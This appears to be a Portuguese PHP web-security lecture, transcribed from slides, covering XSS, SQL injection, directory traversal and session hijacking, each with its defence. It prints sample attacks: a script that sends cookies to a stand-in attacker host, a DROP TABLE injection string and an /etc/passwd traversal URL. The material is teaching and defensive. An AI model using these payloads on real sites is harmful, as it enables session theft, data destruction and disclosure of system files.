XSS - CROSS-SITE SCRIPTING



Documentos relacionados
Segurança em Sistemas Web. Addson A. Costa

Fonte: - Illustration by Gaich Muramatsu

Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL):

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Enginner

Segurança em aplicações web: pequenas ideias, grandes resultados Prof. Alex Camargo

Segurança em aplicações Web. Exemplos e Casos Práticos em

Aplicação web protegida

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1

Boas Práticas de Desenvolvimento Seguro

VULNERABILIDADES WEB v.2.2

Segurança em PHP. Exemplos e Casos Práticos

Programação Orientada a Objetos com PHP & MySQL Cookies e Sessões. Prof. MSc. Hugo Souza

AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA

Aplicação Prática de Lua para Web

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Engineer douglas.pasqua@gmail.com

Segurança Web com PHP 5

Troubleshooting Versão 1.0

Desenvolvimento e disponibilização de Conteúdos para a Internet

Falha segurança Baco Cross-site scripting (XSS) e Logins por canal não seguro (http) perenboom@hmamail.com

Escrito por Sáb, 15 de Outubro de :19 - Última atualização Seg, 26 de Março de :32

Programação Web Prof. Wladimir

Desenvolvendo Websites com PHP

Bool setcookie (string nome [, string valor [, int validade [, string caminho [, string dominio [, int seguro]]]]] )

O atacante pode roubar a sessão de um usuário legítimo do sistema, que esteja previamente autenticado e realizar operações que o mesmo poderia.

PHP (Seções, Cookies e Banco de Dados)

Android e Bancos de Dados

8VDQGR5HSRUW0DQDJHUFRP&ODULRQH3RVWJUH64/ -XOLR&HVDU3HGURVR 8VDQGRSDUkPHWURV

Programação WEB. Prof. André Gustavo Duarte de Almeida docente.ifrn.edu.br/andrealmeida. Aula III Introdução PHP

Transações Seguras em Bancos de Dados (MySQL)

CODE IGNITER INSTALAÇÃO & BANCO DE DADOS

Cookies. Krishna Tateneni Jost Schenck Tradução: José Pires

Segurança na WEB Ambiente WEB estático

3 SERVIÇOS IP. 3.1 Serviços IP e alguns aspectos de segurança

TUTORIAL DE INSTALAÇÃO APACHE PHP POSTGRESQL 8.2

Prova de pré-requisito

Programação WEB II. Sessions e Cookies. progweb2@thiagomiranda.net. Thiago Miranda dos Santos Souza

IPTABLES. Helder Nunes

segurança em aplicações web

Criando Banco de Dados, Tabelas e Campos através do HeidiSQL. Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2011

Aula 03 - Projeto Java Web

Tutorial: Gravação de imagens em banco de dados MySQL utilizando PHP

Desenvolvendo plugins WordPress usando Orientação a Objetos

CONTRA CONTROLE DE ACESSOS E MODULARIZADOR DE SISTEMAS

Ameaças, riscos e vulnerabilidades Cont. Objetivos

Segurança da Informação:

Manual de instalação, configurações e uso do LiveZilla

PHP e MySQL Autenticação de Usuários

Tutorial de Integração PHP

Scriptlets e Formulários

JavaScript. JavaScript é uma linguagem de script usada em navegadores web. É uma linguagem dinâmica, estruturada e orientada em objetos.

IFSC-Programação para a WEB - prof. Herval Daminelli

Manual do Contribuidor. Portal de Internet. Projeto: Novo Portal de internet

Manual de Instalação e Configuração do Primeiro Backup Versão PRO

DOCUMENTAÇÃO DO FRAMEWORK - versão 2.0

Material de apoio a aulas de Desenvolvimento Web. Tutorial Java WEB JSP & HTML & CSS & CLASSE & OBJETOS. AAS -

Ataques a Aplicações Web

PHP Seguro Ernani Azevedo (PROCERGS DRE/ARS Unix)

Mais sobre uso de formulários Site sem Ajax

Projeto Amadeus. Guia de Instalação Windows

Instalação do Wordpress. Professor: Paulo Marcos Trentin - paulo@paulotrentin.com.br Escola CDI de Videira

Revisão: Introdução. - Integração com o AutoManager; 1 Atualização de versão do banco de dados PostgreSQL

Exercício em ASP.NET (Agenda)

1) Ao ser executado o código abaixo, em PHP, qual será o resultado impresso em tela?

Processo de Envio de

SIQ GQF Plugin s WEB (Aplicações WEB) Gestão da Qualidade de Fornecedores

Linguagem de Programação III Aula 2 Revisão Parte II

Desenvolvendo para WEB

Criando um script simples

Segurança da Internet. Ricardo Terra (rterrabh [at] gmail.com) Segurança da Internet Outubro,

Desenvolvimento de Aplicações Web. Prof. José Eduardo A. de O. Teixeira / j.edu@vqv.com.br

Gravando uma Áudio Conferência

Conceitos de extensões Joomla!

Data Transformation Services (DTS) por Anderson Ferreira Souza

Como medir a velocidade da Internet?

Cookies. Krishna Tateneni Jost Schenck Tradução: Lisiane Sztoltz

Tutorial do administrador do HelpCenterLive (Sistema de Ajuda)

Controle de acesso. .com.br

Esse manual é um conjunto de perguntas e respostas para usuários(as) do Joomla! 1.5.

Construção Páginas de Internet

O que é uma sessão. maneira de preservar dados através de acessos subsequentes.

GUIA BÁSICO DA SALA VIRTUAL

1 Sumário O Easy Chat Conceitos Perfil Categoria Instalação O Aplicativo HTML...

E.E.E.B. Professor José Fernandes de Oliveira. Manual de Uso. Sistema Interno (Professores)

Linguagem de. Aula 06. Profa Cristiane Koehler

Introdução Contratando o produto Link2NFe Assistente de configuração de emissor Configurações Avançadas do Emissor...

Introdução ao Tableau Server 7.0

JDBC Java Database Connectivity

TCEnet. Manual Técnico. Responsável Operacional das Entidades

Síntese das discussões do fórum Livro-APF: Julho/2010

Java para WEB. Servlets

Transcrição:

Segurança

XSS - CROSS-SITE SCRIPTING

XSS - CROSS-SITE SCRIPTING Vamos supor a seguinte situação: O site ingenuo.com tem um fórum As pessoas escrevem comentários nesse fórum e eles são salvos diretamente no banco de dados, e mostrados para todos os visitantes

XSS - CROSS-SITE SCRIPTING Um usuário pode postar o seguinte comentário: <script> document.location = 'http://urlmalvada.com/roubar_cookies.php?cookies=' + document.cookie </script>

XSS - CROSS-SITE SCRIPTING E todos os usuários serão redirecionadas ao http://urlmalvada.com/ roubar_cookies.php passando os seus cookies do ingenuo.com como parâmetro, possibilitando que o atacante faça session hijacking (que veremos mais a frente)

XSS - CROSS-SITE SCRIPTING Em um ataque de XSS não necessariamente o código malicioso precisa ser armazenado no servidor. Em alguns casos, ele pode ser passado em um link, como no caso do ex-site do político José Serra.

XSS - CROSS-SITE SCRIPTING

COMO EVITAR? Codificando tags da entrada do usuário: $raw_input = <a href="http://bad.site.com"><img src="click_me.gif"></a> ; $encoded_input = htmlspecialchars($raw_input); echo $encoded_input; //<a href="http://bad.site.com"><img src="click_me.gif" ></ a>

COMO EVITAR? Codificando tags da entrada do usuário: As traduções feitas são: '&' (ampersand) torna-se '&' '<' (menor que) torna-se '<' '>' (maior que) torna-se '>'

COMO EVITAR? Removendo tags da entrada do usuário: $input = <b>texto em negrito</b> <img src="imagem.gif" /> ; $input_sem_tags = strip_tags($input); // Contem apenas: "Texto em negrito"

COMO EVITAR? API filter do PHP (http://php.net/filter) Built-in desde o 5.2 $campo_filtrado = filter_input(input_post, 'campo_do_form', FILTER_SANITIZE_STRING);

SQL INJECTION

SQL INJECTION Semelhante ao XSS, o SQL Injection também é resultado da injeção de código malicioso, mas nesse caso o código inserido é executado nas consultas SQL.

SQL INJECTION Imagine o seguinte código: $query = "SELECT * FROM noticias WHERE id='". $_GET['id']."'"; mysql_query($query);

SQL INJECTION Se o $_GET[ id ] for um número, tudo bem. Mas se for: 1 ; DROP TABLE noticias;--? SELECT * FROM noticias WHERE id='1'; DROP TABLE noticias;--'

COMO EVITAR? Maneira mais simples, no caso de parâmetros numéricos Fazer cast para o tipo numérico esperado (int)$_get[ id ]

COMO EVITAR? Tratando a string mysql_escape_string mysql_real_escape_string $id = mysql_escape_string($_get[ id ]); $query = "SELECT * FROM noticias WHERE id='". $id."'"; mysql_query($query);

COMO EVITAR? Prepared statement $db = new PDO("mysql:host=localhost;dbname=database;", "dbuser","dbpasswd"); $statement = $db->prepare("select * FROM usuarios WHERE login = :login "); $statement->bindparam(":login",$_post['login'],pdo::param_str); $statement->execute(); $result = $statement->fetch();

SQL INJECTION Vamos testar... http://www.wablab.com/hackme

DIRECTORY TRAVERSAL

DIRECTORY TRAVERSAL O ataque de "Directory Traversal" (ou path traversal) consiste em se aproveitar de falhas de configuração do ambiente para acessar arquivos do servidor onde o site está sendo executado.

DIRECTORY TRAVERSAL Esse problema ocorre normalmente quando na estrutura do site existe algum arquivo "base", que dependendo dos parâmetros que recebe na requisição insere outros arquivos no seu conteúdo. Por exemplo em um caso extremo: http://www.programadoringenuo.com.br/base.php? corpo=noticia.php&id=1234

DIRECTORY TRAVERSAL Normalmente o atacante muda o parâmeto para ver a mensagem de erro: http://www.programadoringenuo.com.br/base.php? corpo=xpto.php&id=1234 Warning: include(xpto.php) [function.include]: failed to open stream: No such file or directory in /home2/programador_ingenuo/ public_html/index.php} on line 111

DIRECTORY TRAVERSAL Com isso ele já sabe o path onde o arquivo está sendo executado e pode tentar acessar arquivos do sistema: http://www.programadoringenuo.com.br/base.php?corpo=../../../etc/ passwd <html> [...] layout base do site [...] root:fi3sed95ibqr6:0:1:system Operator:/:/bin/ksh daemon:*:1:1::/tmp: programador_ingenuo:f8fk3j1oif31.:182:100:developer:/home/ programador_ingenuo/:/bin/csh [...] layout base do site [...] </html>

COMO EVITAR? Não fazer include de arquivos baseado em parâmetros passados pelo usuário Ou fazer uma validação do que é passado Ou configurar o parâmetro open_basedir do PHP para restringir os diretórios acessíveis pelo seu script

DIRECTORY TRAVERSAL Vamos testar... http://www.wablab.com/hackme

SESSION HIJACKING

SESSION HIJACKING Sessões são informações gravadas temporariamente no servidor que guardam dados referentes à navegação de um usuário. Pela natureza stateless do HTTP, o usuário precisa sempre identificar qual é a sua sessão, e isso é feito normalmente através de cookies que armazenam uma identificação (id) da sessão, ou parâmetros GET. Se um usuário, de alguma maneira, tem acesso ao id de sessão de outro, ele pode alterar o seu cookie para ter o valor do ID do outro usuário e assumir a sessão dele no site.

SESSION HIJACKING Um ataque de Session Hijacking pode ser iniciado por um SESSION FIXATION, que consiste em um usuário passar para outro um link que contém, entre os parâmetros GET, o ID da sessão, já que esse também pode ser passado por GET ao invés de cookie. http://exemplo.com/clique_aqui?sessid=123456 Assim o usuário que clica no link, dependendo de como o sistema estiver implementado, irá ter atribuido à sua sessão, o ID contido no link, e o atacante pode assumir essa sessão posteriormente

COMO EVITAR? Não existe solução 100% segura, mas a que vem mostrando melhores resultados é o fato de gerar um novo ID da sessão a cada requisição, pois isso diminui drasticamente o tamanho do intervalo que o atacante tem para fazer o seu ataque. PHP tem uma maneira muito simples de fazer isso: session_regenerate_id(true);

SESSION HIJACKING Vamos testar... http://www.wablab.com/hackme

BOAS PRÁTICAS NO PHP Register_globals SEMPRE off require ao invés de include (e não use arquivos.inc) Filtre toda entrada Erros são para a fase de desenvolvimento. display_errors = off, log_errors = on Use criptografia Use sempre a última versão estável e desenvolva no modo E_ALL ou E_STRICT